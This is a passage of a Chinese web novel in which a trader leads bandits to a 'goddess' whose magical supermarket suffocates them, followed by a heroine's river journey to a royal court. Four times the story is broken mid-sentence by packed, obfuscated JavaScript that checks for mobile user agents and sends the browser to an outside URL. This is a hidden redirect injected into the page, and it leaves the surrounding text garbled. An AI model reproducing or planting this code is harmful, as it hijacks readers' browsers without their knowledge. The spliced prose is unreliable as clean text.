乔四娘的初次走商并不顺利。 她们一行人到达官道，沿着阳山关古道往北去往桂阳监时，遇到了一伙同样南下逃荒的流民。 这伙流民是从衡州过来的。 因楚王同室操戈，众驹争槽，导致人心不稳，底下拥兵自重的武将也纷纷割据自立。 北边的朗州有武平军，西边有许师裕等蛮首拥立的武冈王，东边衡州还有向旁边璟国俯首称臣的前楚王昭萼。 自诩为正统的自然是去岁靠政变谋夺了王位的现楚王昭嵩。 璟国以昭萼的名义向楚国出兵，那边便乱了起来。 而衡州离桂阳监并不远，一旦战火蔓延，极有可能波及桂阳监。 乔四娘忧心忡忡。 但箭在弦上不得不发，她只能早日将这些货物卖出去，减少损失。 除了来自动乱不安的世道的威胁，她还得面对那些虎视眈眈的流民。 乔四娘谨记昭长雁的教诲，在流民第一次试图抢夺她的货物之时，便果断出手。 虽然她受了伤，但对方也没讨到好——被她用镰刀割伤了手，血流不止。 后来虽止住了血，却浑身发热，逐渐虚弱。 此举不仅鼓舞了受雇于她的同伴，也震慑了其余流民。 那流民的家人控诉乔四娘残酷无情。 乔四娘说：“我也是楚人，当初随乡人逃荒至此，你们经历过的，我也经历过。” “那你为什么要反抗？”不反抗的话，他的儿子就不会受伤了。 她也经历过苦难，更应该谅解他的抢夺行为才对！ 乔四娘气笑了：“为什么不反抗？你们渴望活下去，我就甘愿等死吗？你们互为邻里、乡亲，面对熟人忍饥挨饿尚且能无动于衷、袖手旁观，我跟你们不认识，为什么要纵容你们劫掠我的东西？” 对方狡辩：“你们的东西那么多，给我们分一点又饿不死。” 乔四娘冷讽：“你们有两只手和两只脚，我打断一两只，你们也死不了，不是吗？” 乔二郎道：“四娘，不必与他们多费口舌。” 乔四娘哼了一声：“我原本可怜你们和我曾经的处境一样困难，想将我的货物便宜出售给你们，没想到你们这么贪心。” 乔二郎与她一唱一和：“我们的米八十文一斗，何愁卖不出去？还是卖给桂阳监的乡民吧！” 衡州的流民听闻这个米价，都有些不相信。 “什么米才八十文！？” “是一斗，不是一升？” 乔四娘说：“斗和升，你们都区分不了吗？说了是斗便是斗，正儿八经的大斗！” 这时，一个妇人冲了出来。 不过乔四娘的同伴担心对方又来抢东西，将其拦下了。 “我买一斗。”妇人从衣服内衬掏出了一个钱袋，她从里面数出了八枚大钱来。 大钱是铁和铅铸造的，一枚大钱当十枚铜钱用。 乔四娘说：“我不收大钱。” 无论大钱还是原本的铜钱，到了周梨那里都只能兑换两三元。 她收大钱完全是在做亏本买卖。 妇人傻眼了：“大钱也是桂阳监铸的，怎么就不收了呢？” 其余流民也哗然。 一枚大钱当十枚铜钱使用已经好些年了，大家都这样，怎么乔四娘不认大钱？ 乔四娘说：“收也行，不过一枚大钱只能当一文钱使用。” 身家突然缩水，流民们自然不干。 但他们显然忘了，他们不干是他们的事，乔四娘可不惯着他们。 最后，他们也发现了，乔四娘这人吃软不吃硬。 于是他们派出了老弱妇孺来博同情。 乔四娘心如磐石，脸上出现犹豫的神色也只是她的套路。 她佯装自己耳根子软，说：“我还是那句话，我不收大钱，不过，如果你们用铜钱来买，我可以给你们算便宜点……七十文一斗。” 外面七十枚大钱连一斗米都买不了，这里的七十枚铜钱却能买一斗。 流民的心里立马就有了计较。 不过，他们身上也没多少铜钱了，便跟乔四娘进一步讨价还价。 最后，乔四娘以55文一斗的价格，卖了近一半大米给他们。 而乔四娘状似大赚一笔，其实也没有十几倍那么夸张。 因为她发现，神女所定义的一斤，大约只有13.4两，即0.84斤。 她以2.8元一斤的价格采购了200袋5公斤装的大米。 即，她花了5600元购买了1680斤大米。 每斤米花了3.33元，一斗（10斤）便是33.3元。 神女那儿兑换铜钱的价格下降了，如今一枚铜钱只能换2.5元，55枚铜钱可兑换137.5元。 除去采购、人力和时间等成本，她一斤米只能赚几块。 这几块还得跟窦娘、殷椒等人分成。 除了大米，酱油也是热销产品。 乔四娘特意用大米跟流民换了些野菜，随后她将野菜煮熟，淋上酱油，在流民们面前吃得有滋有味。 由于流民们缺少食盐，嘴巴淡得看见稍微有味道的东西，都能疯狂流口水。 所以一瓶酱油30文钱，他们也咬咬牙买了。 备受流民青睐的产品还有水桶和铁锅。 “这桶是用什么做的，竟然这么轻，这么薄！” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371632|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这锅是铁打的？怎么是龟壳状的？” “你这奇怪的小车子卖不卖？” “……” 乔四娘的买卖做得红红火火，她也逐渐放下了警惕之心。 直到危险降临。 这天，乔四娘对手下的人说：“吃过早食，我们就继续出发。” 流民们能买的东西都买了，已经达到了饱和，再逗留也卖不出更多东西，还不如早日动身前往桂阳监。 而就在她们即将到达桂阳监的地界时，她们听见了一阵杂乱的马蹄声。 心中莫名地升起了不祥的预感，乔四娘赶紧让人丢下货物往林子里逃。 这一路过来，见过太多兵荒马乱，众人对马蹄声也有些应激了，纷纷照做。 唯有俩人因为实在是不想抛下那些货物，选择背起它们逃跑。 而这一来，他们逃跑的速度便慢了下来。 没多久，一支流寇队伍出现在乔四娘丢下货物的地方。 这支流寇，有数人身穿破旧的甲胄，骑着瘦弱的马。 另有二十多个拿着刀斧的壮丁是跑过来的。 他们看到地上的东西，也顾不得喘息，纷纷上去争夺。 为首的流寇环顾四周，根据脚印确认这里的人都逃入了山林，于是下令进山搜人。 没多久，那两个贪图货物，走得慢的男人被抓住了。 乔二郎等人也都被陆陆续续找到。 “还有个女人呢？”贼首问。 “还没找到。”手下回复。 原先被抓住，遭了一顿毒打的楚人毫不犹豫地出卖了乔二郎，说：“那女人叫乔四娘，是他的妹妹。” 贼首将乔二郎提溜到跟前，打量了他一眼，问：“你妹妹藏哪儿了？” 乔二郎腿都是软的：“我不知道。” “给我打！” 乔二郎欲哭无泪：“我真不知道！” 鞭子落在他的身上，疼得他几近昏厥。 这时，有人高呼：“将军，我们都是普通人，只是为生活所迫，不得不离乡别井，来这儿寻求生路……我们没干过坏事呀！” 贼首说：“你们是没干过坏事，但这些东西哪儿来的？” 众人明白了，对方是见钱眼开，想吞了他们这些东西。 乔二郎也想明白了。 这些流寇是被衡州那伙流民引来的！ 对方之所以找乔四娘，肯定是那个被乔四娘所伤的流民为了报复她，在流寇面前说了什么。 让贼首感到意外的是，原本很快就出卖了乔二郎的流民，竟然无一人供出这些东西的来源！ 这更加勾起他的好奇之心了，于是下令：“给我打，打到他们招！” 18.第 18 章 谁都不想挨打。 况且他们面对的还是一群穷凶极恶的流寇。 众人吓得屁滚尿流，早已忘了被抓住前，他们手里也是有镰刀斧子的。 然而，他们也害怕神女降下神罚，没有一个人想当第一个出卖神女的人。 这时，乔四娘跑了回来：“你们想知道东西哪儿来的？可以，我带你们去。” 流寇只怔愣片刻，立马就反应过来，上前去抓住了她。 乔二郎惊愕：“你跑回来做什么！？” 乔四娘看着众人，说：“你们受雇于我，是我带你们出来的，我有责任护你们周全。” 这话让流寇们哈哈大笑：“你都自身难保了，还想护他们周全？” 乔四娘说：“他们是跟着我出来的，哪怕我不护他们，我也没脸一个人回去。” “你这娘儿们倒是有点血性。”贼首高高在上地说。 乔四娘暗唾了他一口，面上不显，说：“我们与你们无冤无仇，想必你们也是为了这些东西来的……或许还有别的目的，但请允许我与你们说清楚我们的来历以及这些东西的来源，余下的，你们再自行思量。” 贼首饶有兴致地看着她：“我忽然不着急知道了……把你们掳回寨子，还怕撬不开你们的嘴吗？” 乔四娘视死如归地说：“其实我们这些人，任意一个人都能告诉你，所以你可以杀了我们，只留下一个活口。但是……” 众人不可置信地看着她。 那两个软蛋吼道：“你要死便去死，为什么要拉着我们一块儿寻死？” “闭嘴！”乔二郎忍无可忍。 明明乔四娘逐渐掌握了节奏，这两个软蛋是生怕这些流寇太仁慈是吗？ 流寇的确动了杀心。 但不是杀乔四娘。 可他总觉得乔四娘这么有底气，这些东西的来历一定不简单。 他对那两个软蛋说：“你们说出来，我便放过你们。” 他们这会儿也顾不得会得罪神女了，争先恐后地说：“是神女！山中有神女在修行，这些东西都是从她的洞府里换来的。” 流寇们俱是一愣。 旋即大声嘲笑起来。 “神女？如果这世上有神女，为什么会眼睁睁地看着天下大乱？为什么要让我们家破人亡？” “兴王府的皇宫中，有女巫自称玉皇大帝降下神识在她的身上，让她替天子主理政事。就是不知道，是玉皇大帝位分高，还是你们口中的神女位分高。” “还有，正是这女巫，害得我们无家可归！” 若非走投无路，他们也不会流蹿在山间当流寇了。 这些人竟然以这么荒唐可笑的理由来忽悠他们！ “我还以为你们能说出什么来。”贼首毫不留情地杀了那两个软蛋。 鲜血飞溅，众人吓得瑟瑟发抖，彻底失去了勇气。 乔四娘也吓得六神无主。 但她知道，绝对不能被这群贼寇牵着鼻子走，否则她们只有死路一条。 她鼓足了勇气，用冰冷无情的眼神盯着贼首，一字一顿地说：“原以为各位是英豪，没想到是莽夫，难怪只能落草为寇。” “臭娘儿们找死！”流寇们勃然大怒。 贼首却说：“看来你是真不怕死了。” 乔四娘说：“我阿耶曾经被征去当兵，然后他死在了战场上。那会儿天气闷热，将军们担心他们的尸体堆积会生出瘟疫，所以将他们一把火烧了，再抓了一捧灰，充作我阿耶的遗骸送回家乡来。” 贼首蹙眉。 跟他说这些做什么？ 难道她以为他会因自身也当过兵的份上就放过她？ 乔四娘又说：“我说这些并非要博得你们的同情，而是想说，我阿耶提到过，他行军打仗时，最怕粮草不足。 “没有粮饷，他们就吃不饱，也没有力气打仗。因此，军队每经过一条村子、县城，都要先劫掠一番，确保自己能抢到足够的食物。 “所以，一位好的将军，想要得到手下兵士的拥护，就得确保他们能吃饱饭。要么提供粮草，要么纵容他们劫掠他人。 “而前者，能让手下兵士死心塌地地追随。后者，一旦他们把周围能抢夺的粮食都抢光了，抢无可抢，那他们就会生乱。 “所以，将军你是想当前者，还是后者？” 贼首的眼神从一开始的轻蔑，逐渐变得凝重。 他没想到一个女人竟然能说出这么有见地的话！ 而且他不得不承认，他被说服了。 他不甘心一直为寇，他想发展壮大，打出属于自己的天下来！ 他扫视了众多阶下囚一眼，神色愈发轻视：“你们连一个女人都不如啊！” 他下马来，问乔四娘：“神女是什么来历？” 乔四娘心中暗暗松了口气。 她说：“神女是在世间修行的神仙，机缘巧合之下被我们遇到……” 她没有隐瞒自己的奇遇。 而流寇关注的重点却是：“山上就她一个？” 乔四娘颔首：“神女独自修行，从不让人去打扰她。” 贼首不知想到了什么，眼神闪烁：“带我们去。” 他没提怎么处置其余人，显然是决定先放过他们了。 众人劫后余生，高兴得忍不住哭出来。 乔四娘看着被杀的二人的尸体，说：“还请将军允许我们将他们带回至亲的身边。” 贼首满不在乎地下令：“抬走。” … 回去的路上，乔二郎数次看着乔四娘都欲言又止。 乔四娘说：“二哥想说什么？” 乔二郎压低声音问：“伯父何时提过那些话的？” 他们的父亲被征去后，便没有回来过，只每个月让人将钱财和口信送回。 纸张太贵，哪怕写家书，也舍不得写太多字。 所以那些话，他觉得不可能是乔四娘的父亲说的。 乔四娘说：“这是七娘告诉我的。” 乔二郎讶异：“常七娘？” “嗯。我在她那儿学到了很多。” 乔二郎感叹：“若常七娘在，她定能带我们脱困。” 想到自己的家人还在山中，他们却带着流寇回去，会不会连累家人？ 乔四娘却十分笃定：“他们不会杀我们的。” 等他们见识了神女的本事，自然知道讨好神女的重要性。 再者，他们这群流寇才二十多人，要想在短时间内壮大势力，就得保证人员储备充足。 所以，他们大概率会占 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381792|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领两个寨子，然后将所有人都收入麾下。 但，有神女在，她怎么可能让这些流寇如愿？ * 流寇们的行军速度比普通人快。 乔四娘等人不得不跟在马后面跑。 实在是累了，就轮流在小拉车拼凑出来的板车上坐着，让马拉一程。 贼首观察过那小拉车，他越发肯定，那所谓的“神女”其实是拥有一双巧手的工匠，她制作了诸多精巧的机关，然后蒙蔽大众，让大家奉她为神仙。 对此，他决定将计就计，让这些人以为他相信对方是神女。 等他挖掘出“神女”的秘密，他再拿下她们！ 在众人的紧赶慢赶下，仅花了一日，便回到了阳山关古道那条岔路口。 乔四娘在前面带路，众人也归心似箭。 流寇见状，越发相信这里的确是他们隐藏的寨子。 途中，他们遇到了巡逻的乡民。 对方看到乔四娘，疑惑：“这么快就卖完东西回来了？” 但很快，他就看到了跟在后面的那群流里流气的贼人。 乔四娘说：“这位将军想要拜见神女。” 对方立马就明白了，乔四娘她们这是遇到流寇了！ 来不及同情对方倒霉，因为流寇进寨对他们来说绝对不是好事。 然而，他还是被裹挟着，往寨子走去。 ——这群流寇可不是他引回来的，就算他反抗，乔四娘也还是会将他们带到寨子去。 于是，楚越两边的流民聚集的寨子，就这么被这群流寇入侵了。 那群流寇却十分满意这个新据点。 这里有食物，有女人，可比他们那个残破的小寨子好太多了！ 那贼首就要下令将所有人都聚集到一起，接受他的统治。 乔四娘说：“这里是桃源，是我们的家，大家都不会离开这里。况且天色不早了，将军还是先去见神女吧！” “那装神弄鬼的女巫什么时候见不行？我们这就上山去将她带下来。”流寇不屑地说。 “神女每到亥时正便会闭关，无论何种情况、无论谁去请，都请不出来的。而且，她随时都会离去。” 乔四娘说的是周梨连带着小超市一起消失。 可那贼首却以为“神女”是要趁着夜色逃跑。 他也不想让对方收到消息逃跑，于是领着众人上山。 ——他没有将手下留在这里，因为寨子里虽然多老弱妇孺，却还是有不少壮丁的。 他怕自己的兵力分散后，会被对方瓦解。 还不如先上山会一会那个“神女”。 这时，已经知道发生什么事的冼三娘匆匆跑来，她说：“我带各位上山吧！” “你又是什么人？” 冼三娘说：“神女不爱与人交谈，但她会偏爱说雅言的人。而我会说雅言。” 流寇：…… 什么偏爱说雅言的人？怕不是那女巫只会说官话吧！ 贼首觉得，这个女人没有胆量骗自己，她应该也是被“神女”骗了。 于是他让冼三娘和乔四娘一起带他们上山。 不过，这会儿，已经有人抢先一步上山找周梨了。 “神女，大事不好了，有流寇杀上山来了。” 19.第 19 章 冼三娘得知乔四娘带了一伙流寇回来找神女，便第一时间让自己的两个孩子跑上山去找神女。 一来，她的两个孩子懂雅言。 二来，只有在神女那儿才是绝对安全的。 她特意等孩子跑到了半山腰，才毛遂自荐去给流寇带路。 见了乔四娘，冼三娘并没有什么好脸色，乔四娘也是一副心虚的模样。 然而她们都清楚，彼此是在演戏。 试想，乔四娘带着外人进寨子，不管是否为了神女，她此举都算得上是背叛。 身为寨子的人，理应怨恨乔四娘。 若冼三娘没有表现出对乔四娘的怨怼，流寇一定会起疑，认为她们这是在设套谋害他们。 因此，二人只是打了个照面，便配合起对方来。 那贼首见二人全程无交流，也坚信她们翻不起什么风浪。 不过，他们上山时，他还是让人记下了路线，免得被她们带进了沟里。 * 超市里。 周梨听了两个小萝卜头的话，不仅没有丝毫惊慌，反而用殷切的目光看向超市外。 她问：“系统，你能打十个吗？” 系统：“来者不善，你在兴奋什么啊？” 这是为人民服务的心态吗？ 周梨说：“我没有兴奋，我是气愤、痛心。看来你们系统并不懂人类的情绪。” 系统：“……” 周梨让俩小孩躲超市里，然后将门外的监控转向远方。 天色渐渐暗下来，乔四娘和冼三娘终于带着一群匪气十足的男人出现了。 为首的几人骑马，余下的人徒步，还有几人抬着两具鲜血淋漓的尸体。 这群男人手持大刀，眼里皆是对生命的漠视。 乔四娘对贼首说：“你不应该将他们的尸体带上山来，这会激怒神女的。” 贼首冷笑了声。 他这么做，自然是为了震慑那装神弄鬼的“神女”。 如有必要，他会将这两具尸体竖在“洞府”门口。 不过，上山后，他看到那灯火通明的“洞府”，也察觉到了一丝异样。 ——这洞府太明亮了，屋内的光甚至能照亮方圆十几米。 烛光可没有这样的亮度。 在光亮与暗夜的边界，流寇们停了下来。 冼三娘和乔四娘仿佛没有注意到身后的异常，径直走向超市。 贼首见她们进入了被光线照亮的那片土地，心下一横，挥了挥手，让人将那“洞府”团团围住。 乔四娘和冼三娘的神经一直紧绷着。 直到跨入超市大门，她们顿时卸去伪装，神色焦虑起来。 “神女恕罪！”乔四娘率先请罪。 毕竟是她把人带了过来，惊扰了神女。 周梨静静地看着她，没有言语。 这说的啥？ 冼三娘看了看眼睛通红的乔四娘，又看了看面无表情的神女，最终站出来，为乔四娘说情。 “神——小老板，乔四娘她并非故意带贼人来打扰您修行的，她这么做也是被贼人逼迫的。外面那两具尸体，便是贼人的手笔。” 贼首刚部署好，走进超市，就听见了冼三娘的话。 他眯了眯眼，心中冷笑：“就知道你们不老实！” 不过，他环顾四周，这偌大的屋子里，只有三个女人和两个小孩，不足为惧。 而且周围也不像是设了机关的样子。 这一打量，就让他险些错不开眼。 这里竟然真的有堆积如山的物资！ 外面的流寇也透过玻璃看清了里面的陈列。 他们心中狂喜：“发财了。” “老子再也不用忍饥挨饿了！” “这些人真会藏啊，谁能想到，这深山老林中，竟有这么富裕的人。” “哎，这女人可真是穷奢极欲，竟然用琉璃当门。” 这会儿，所有人的目光都凝聚在了超市里。 他们贪婪地用目光锁定里面的东西，内心早已想好了怎么支配这些物资。 而在贪欲的驱使下，他们早忘了贼首的命令，每个人都几乎趴到了玻璃门上。 … 在贼首进入超市的那一瞬，系统就已经检测到了恶意。 只是在对方没有做出攻击之举前，超市的防护功能并不会启动。 周梨也没有表现是明显的敌意。 她说：“欢迎光临。” 冼三娘和乔四娘被周梨的态度弄得有些忐忑。 在神女的眼里，她们和流寇都是一样的吗？ 神女会替她们讨回公道吗？ 贼首问冼三娘：“她说什么？” 冼三娘迟疑了下，决定如实翻译周梨的话。 贼首笑了：“算你老实。” 冼三娘微微一惊，旋即明白过来，这贼人听得懂官话！ 贼首是逃兵、流寇，他流蹿过很多地方，劫杀过很多过往的商人，因此不管是官话还是土话，他都略懂一二。 他假装听不懂官话，也只是想看看冼三娘她们在搞什么鬼。 如今，他已经知道了她们的底细，自然无所畏惧了。 贼首把目光转向打扮古怪，但是十分年轻、无害的女子——周梨。 他用官话问：“你就是她们口中的神女？” 周梨微微一笑：“叫我小老板就好。” 在流寇看来，周梨这是害怕了。 他们哂笑：什么神女，不过是骗子罢了。 贼首更加不把周梨放在眼里了。 “我问你，这些东西是怎么来的？” 周梨说：“涉及商业机密，无可奉告哦。” 笑话，进货渠道是能随便说的吗？ 贼首一下子冷脸，他拔出刀威吓：“少在我面前装神仙，不过是靠奇技淫巧糊弄无知愚昧的乡民的巫觋罢了。” 周梨该走的服务流程都走完了，态度一下子恶劣起来：“你到底买不买东西？” 这会儿，冼三娘和乔四娘已经领着两个孩子，缩到超市角落去了。 乔四娘更是庆幸，这贼首没有完全将她的话听进去。 ——对方真把她的劝诫之言听到了心里去，对神女毕恭毕敬，那她岂不是没法替被杀的同伴报仇了？ 流寇们没有把周梨强硬的态度放在眼里。 在他们听来，她这是虚张声势，越是心虚，表现得越疾言厉色。 贼首迟疑了下，决定把自己的手下都叫进来。 哪怕这屋内有机关，也有他们当肉盾。 而流寇们对他的险恶用心一无所知，早已按捺不住的他们立马涌进超市里，开始对他们垂涎已久的东西下手。 下一秒，一片哀嚎声响彻夜空。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15387573|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 贼首一直盯着周梨，对手下的行为视若无睹。 可当他看到周梨依旧十分淡定时，他隐约察觉到了不对劲。 这不是虚张声势，而是真的没有将他们的威胁放在眼里！ 她有什么底牌？ 贼首这时再去找冼三娘她们已经来不及了。 他看到了那些试图抢东西的手下，像是被一双无形的手掐住了脖子。 所有人都“飘”了起来——被一股从底下蹿出的风卷起来的。 他们嘴巴大张，似乎想要拼命地呼吸，却始终一副窒息的模样。 有人在挣扎的时候踹倒了货架，下一秒，他整个人抽搐起来，裤子也湿了。 贼首的大脑“嗡”地响了。 他这时才意识到，没有什么机关。 眼前的女人是真的有神通！ 他刚准备放弃抵抗，但属于他的惩罚也到来了。 … 超市角落，冼三娘和乔四娘及两个孩子，亲眼看着这群贼人受到神罚，她们喜极而泣。 哪怕知道他们都是被官府逼得落草为寇的，可当他们将屠刀挥向她们的人时，他们之间就注定不会和解。 不是他们死，就是寨子亡。 她们也在赌，赌神女眷顾的是手无寸铁的她们。 好在，她们赌对了。 * 四分钟过去了。 这群已经陷入了昏迷的流寇都被扔了出去。 人的大脑缺氧4~6分钟，就会出现永久性的损伤。 而这群流寇，即便没有变脑瘫，肯定也会留下后遗症。 此时，门外聚集了不少来看热闹的流民。 他们再次目睹神女降下神罚，心中痛快无比的同时，又更加敬畏神女的神威。 周梨走出了超市，来到那贼首的身边，嘀咕：“想来我这里0元购？你当这里是阿美莉卡吗？” 她嘀咕完，扫视了众人一眼，又回到了超市里。 冼三娘和乔四娘正在帮她把货架抬起来，两个孩子也拿着拖把帮忙把那群流寇撒的尿给拖干净。 ——拖把的作用，她们早就学习了。 周梨看了眼时钟，说：“时间到了，超市要关门了。” 冼三娘连忙带着孩子离开超市。 乔四娘走出超市后，又回头在门口跪下。 正准备锁门的周梨：？ 她问：“你做什么？” 乔四娘说：“这些流寇是我带来的，请神女责罚。” 虽然神女刚才没有责罚她，但有些事一定要有个结果。 否则，那两个死掉的同伴的家人都不会放过她。 周梨说：“你很聪明，知道利用超市的规则来对付这群流寇。这么做是对是错并无标准……我也没有评判的标准。” 假如超市没有防护功能，乔四娘此举无疑是祸水东引。 周梨理应怪罪乔四娘的。 但她不会因为一个假设而去审判别人。 那样除了精神内耗，毫无意义。 乔四娘有些琢磨不透周梨的意思。 看着那道门关上，超市内的灯火熄灭，她没有动弹半分。 在乔四娘的身后，有呼天抢地的流民捡起了流寇的刀，扒开贼首的甲胄，然后愤怒地捅穿了他的肚子。 ——是那两个被杀的流民的家人替他们报仇来了。 20.第 20 章 贼首被杀了。 剩下的流寇都被流民们绑了起来。 但面对这场变故，大家都不知道该怎么处理。 要将这些流寇都杀了吗？ 不杀的话，留着也只会浪费他们的粮食。 可杀人的事，他们也不敢做。 冼三娘和陈老翁商量了一下，决定等其余外出经商的人回来了再说。 至于被流寇杀害的那两个楚人，他们的家人已经替他们报了仇。 乔四娘还赔了一笔钱给他们的家人。 对方收了钱，不再迁怒乔四娘。 当初乔四娘雇他们干活，已经提前告知了风险。 而且，若非他们抢着出卖神女，他们也不会死。 同行的人都可以为乔四娘作证。 再说，这次外出，乔四娘的损失很惨重。 虽然大部分货物都从流寇的手中夺了回来，但有一些粮食已经被他们糟蹋了。 ——流寇不认识南瓜、红薯这些食物，他们见马会凑过去吃，就都拿来喂马了。 窦娘来找乔四娘的时候，乔四娘说：“这次的损失，我会赔给你。” 窦娘问她：“你打算放弃了吗？” 乔四娘沉默。 说实话，这次的事对她来说打击很大。 这个世道比她想象得还要危险。 可是她真不甘心。 但是再不甘心又能如何？ 她经受不起第二次打击了。 窦娘没说什么。 是夜，殷椒悄悄地将乔四娘拉到一边。 “婶婶，怎么了？” 殷椒将手里的会员卡推给乔四娘，说：“我这里还有钱，都给你，你再去找神女多买一些货拉去桂阳监卖。” 乔四娘连忙道：“婶婶，这不行。” “听我说。”殷椒语重心长地说，“我们好不容易迈出了那一步，退了就真的什么都没了。这次只是损失了一些货物，亏得不多。” 流寇们被抓后，他们从她身上搜刮的钱财都拿回来了。 还有一部分钱被她在逃跑时埋在了林子里，也还能找回来。 但她担心的是会再遇到这种被拦路抢劫的情况。 殷椒见她不语，便说：“这样吧，你把那什么经销权让给我，我来！” 乔四娘惊讶地看着婶婶。 殷椒说：“怕什么，流寇都被抓了，至少那一段路短时间内不会再出现第二伙流寇了。” 她这话也算是在安慰自己，暗示自己要坚定决心。 被殷椒所打动，乔四娘沉思了片刻，再度抬眸时，眼神坚定了许多。 * 在宜章县经商的窦大郎等人并不清楚寨中发生的事情。 他正在将属于昭长雁的东西从车上卸下来。 “这里可以乘坐小船到河口，入武江，那边的渡口经常有商船停泊，你可以乘坐商船到韶州，再顺着北江下兴王府。” 昭长雁颔首：“多谢。” “你帮了我们，我们不过是回馈这份恩情罢了。”窦大郎说。 昭长雁没再说什么客套话，拉着小拉车便往停着小船的宜章河走去。 虽然这个地方曾经是她的封号所在地，但她对这里并无留恋。 和艄公谈好了价格，小船便在摇晃中慢慢远去。 昭长雁登了小船。 恰是吃早食的时间，她拿出干粮填饱肚子，然后在艄公惊疑的目光中打磨斧头。 在她挥着斧头凭空劈砍时，她察觉到小船前进的速度更快了。 练习完用斧招式，她给艄公拿了个蜂蜜小面包，说：“吃点？吃饱了好上路。” “不、不用了！”艄公摇桨的动作更利索了。 昭长雁：…… 四十几里长的航程，在艄公卖力的划桨中，仅花四个时辰就走完了。 此时恰好是傍晚时分，河面波光粼粼，泛着夕阳的橙红色光芒。 昭长雁站在渡口处，看着周围的荒凉之景，问艄公：“这里什么时候才有商船经过？” 艄公说：“这个说不好，有时候一天两艘，有时候几天才一艘。” 昭长雁蹙眉。 要不是小船很容易在湍急的河段覆没，她都打算让艄公直接带她南下了。 好在她的运气不错，稍晚些时候，有一艘商船在渡口停泊。 像这种较大的船只，基本不会在黑夜中航行，因为一旦船体撞击到石头，很容易翻船。 船上的货物多，翻船后造成的损失十分严重。 因此宁愿在渡口多停一晚上，也绝对不争那么点时间。 昭长雁用一袋老冰糖付了船费，顺利登上了商船。 冰糖在楚越之地并不罕见。 不过，商船的主人没见过品相这么好的冰糖，忍不住向她打听糖的来源。 昭长雁说：“我是在宜章县买的，那里有一支买卖杂货的商队，这些糖就是他们带来的。” 她没有直接暴露周梨和超市的存在。 且不说他们不一定会相信，就算他们相信了，也很容易给她的计划带来变故。 因此，他们若真想买冰糖，找窦大郎无疑是最好的。 昭长雁问：“你们此行要到哪里去？” “兴王府。”商人骄傲地向昭长雁展示了他的货物——几只被关在铁笼里的豺，和一头猛虎。 “听闻卫王喜欢豺狼，我特意在山里捕捉，又特别训练了它们，以便它们在卫王面前能表现出更加凶猛的兽性。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15403637|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭长雁缄默。 卫王是大越皇帝的长子，眼下才十七岁。 不过，大越民间对他的评价都不好。 ——他老子是个荒淫无道的昏君，他也是个不折不扣的纨绔王爷。 若不是昭长雁想要复仇，她是绝对不会为这样的父子效力的。 昭长雁用自己的经历结合窦大郎讲述的大越风土人情，给自己编了一个向往海上贸易，特意去那边寻求出海机遇的身份及形象。 船上的人见她一介女流，竟然敢孤身跟着海船出海，也知道她必定有保命的手段，因此没有来招惹她。 商船早晨出发，晚上停泊在附近的渡口。 又恰巧下了雨，江水变得湍急起来，船只被水流推着，速度加快了不少。 仅花了三天时间，昭长雁就到兴王府了。 她来到天师院。 这里是女巫的居所，同时也是大越的朝廷机构之一。 因女巫颇得皇帝信任，还将国事交付她们，故而天师院门庭若市，多的是像昭长雁一样，想从女巫这边下手，为自己谋取好处的人。 昭长雁看到了不少外邦面孔，他们身穿丝绸做成的衣服，嘴里说着她听不懂的语言。 排了许久的队，终于到昭长雁了。 她将一盏老式煤油灯递给门卒，道：“我奉神女之命，为天师送来天灯。” 门卒一听，将她上下打量了好几眼。 大越人都知道皇帝迷信方术，重用女巫。 但没有人敢说自己是奉神女之命前来的。 因为这种说法是在抬高自己的地位——既是奉神女之命，那么必定是在神女身前侍奉的。而能侍奉神女的必然不是普通人，大概率是仙童。 昭长雁上来便说自己是仙童，那门卒一时半会儿竟不知道该怎么处理好了。 如果是那些商人，他们有求于女巫，他肯定要刁难他们，好攫取好处。 如果是那些自诩神仙的方术之士，他肯定要质疑对方冒充天师。 昭长雁就一句没头没脑的“送天灯”，谁知道她是什么来头？ “哪个神女，什么天灯？”门卒问。 昭长雁说：“你只管告知，我家神女居住在墉城。” 